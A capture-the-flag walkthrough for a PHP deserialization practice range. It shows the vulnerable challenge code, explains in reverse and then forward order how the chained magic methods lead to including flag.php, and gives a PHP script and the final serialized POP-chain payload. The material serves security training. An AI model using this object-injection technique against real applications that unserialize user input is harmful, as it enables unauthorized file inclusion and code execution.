The topic address is: GitHub - mcc0624/php_ser_Class: php deserialization shooting range
Click to enter the following questions
The code of the topic is as follows, which calls the magic method many times like a nesting doll, which is quite brain-burning. According to the topic, obviously the target is echo $flag
<?php
//flag is in flag.php
error_reporting(0);
class Modifier {
private $var;
public function append($value)
{
include($value);
echo $flag;
}
public function __invoke(){ //把对象当成函数调用触发
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __toString(){ //把对象当成字符串调用
return $this->str->source;
}
public function __wakeup(){ //反序列化之前触发__wakeup()
echo $this->source;
}
}
class Test{
public $p;
public function __construct(){ //在实例化一个对象时
$this->p = array();
}
public function __get($key){ //调用的成员属性不存在。
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
unserialize($_GET['pop']);
}
?>
Questions like this need to be analyzed using the target inversion method:
- The target triggers the echo to output the flag, you need to make $value=flag.php, and then call append(flag.php), invoke calls append
- Trigger invoke and call append(). And make $var=flag.php. Trigger invoke condition: treat the object as a function. _get returns a function
- If the p attribute in Test = new Modifier, __invoke will be triggered. So how to trigger __get? Triggered when the called member attribute does not exist.
- Let $str=New Test() in Show, if source does not exist in Test, __get will be triggered. How does that trigger __toString? Triggered when the object is called as a string
- Let source=new Show() in __wakeup, then trigger __toString. How to trigger __wakeup? Deserialization triggers
After analyzing backwards, then push forward:
- Deserialization triggers wakeup() for Show objects
- And let the source attribute in the show object = new show(), output the object as a string, and trigger tostring
- Then let the str attribute of the Show object = New Test(), the attribute source does not exist in Test, and trigger __get().
- Let the $p attribute in the Test object = new Modifier(), return the object as a function, and trigger __invoke
- Let the private var attribute of the Modifier object be =flag.php, call the append function, and output flag
Finally, we use code to realize the construction of the pop chain
<?php
class Show{
public $source;
public $str;
public function __toString(){ //把对象当成字符串调用
return $this->str->source;
}
public function __wakeup(){ //反序列化之前触发__wakeup()
echo $this->source;
}
}
class Test{
public $p;
public function __construct(){ //在实例化一个对象时
$this->p = array();
}
public function __get($key){ //调用的成员属性不存在。
$function = $this->p;
return $function();
}
}
class Modifier {
public $var; //先修改为public,方便调用
public function append($value)
{
include($value);
echo $flag;
}
public function __invoke(){ //把对象当成函数调用触发
$this->append($this->var);
}
}
$show = new Show;
$show->source=$show;
$test = new Test;
$show->str=$test;
$modi=new Modifier;
$test->p=$modi;
$modi->var="flag.php";
echo serialize($show);
?>
Then access and output the deserialized string
Need to change var to private property
O:4:"Show":2:{s:6:"source";r:1;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:13:"%00Modifier%00var";s:8:"flag.php";}}}
Finally submit the deserialized string and get the flag